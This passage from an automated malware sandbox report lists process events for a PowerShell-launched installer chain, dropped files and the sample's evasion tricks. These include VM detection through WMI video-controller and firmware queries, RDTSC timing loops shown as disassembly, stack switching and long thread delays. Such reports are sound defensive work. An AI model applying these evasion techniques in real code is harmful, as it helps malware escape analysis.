Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PSNDEYKP9CHQN0J79BBDFB.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-POPLO.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-POPLO.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-POPLO.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-POPLO.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-POPLO.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-POPLO.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-POPLO.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-POPLO.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\PSNDEYKP9CHQN0J79BBDFB.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com

System information queried: FirmwareTableInformation

Jump to behavior

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe

API/Special instruction interceptor: Address: 6BB47C44

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	RDTSC instruction interceptor: First address: 6BB4F3E1 second address: 6BB4F3FD instructions: 0x00000000 rdtsc 0x00000002 mov dword ptr [ebp-20h], eax 0x00000005 mov dword ptr [ebp-1Ch], edx 0x00000008 lea esi, dword ptr [ebp-38h] 0x0000000b xor eax, eax 0x0000000d xor ecx, ecx 0x0000000f cpuid 0x00000011 mov dword ptr [esi], eax 0x00000013 mov dword ptr [esi+04h], ebx 0x00000016 mov dword ptr [esi+08h], ecx 0x00000019 mov dword ptr [esi+0Ch], edx 0x0000001c rdtsc
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	RDTSC instruction interceptor: First address: 6BB4F3FD second address: 6BB4F3E1 instructions: 0x00000000 rdtsc 0x00000002 mov dword ptr [ebp-18h], eax 0x00000005 mov dword ptr [ebp-14h], edx 0x00000008 mov eax, dword ptr [ebp-18h] 0x0000000b sub eax, dword ptr [ebp-20h] 0x0000000e mov ecx, dword ptr [ebp-14h] 0x00000011 sbb ecx, dword ptr [ebp-1Ch] 0x00000014 add eax, dword ptr [ebp-10h] 0x00000017 adc ecx, dword ptr [ebp-0Ch] 0x0000001a mov dword ptr [ebp-10h], eax 0x0000001d mov dword ptr [ebp-0Ch], ecx 0x00000020 jmp 00007FE7648DEE05h 0x00000022 mov edx, dword ptr [ebp-04h] 0x00000025 add edx, 01h 0x00000028 mov dword ptr [ebp-04h], edx 0x0000002b cmp dword ptr [ebp-04h], 64h 0x0000002f jnl 00007FE7648DEE90h 0x00000031 rdtsc

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6428			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3257			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-BEJR0.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-POPLO.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-81NQ0.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-POPLO.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-81NQ0.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-BEJR0.tmp\_isetup\_isdecmp.dll	Jump to dropped file

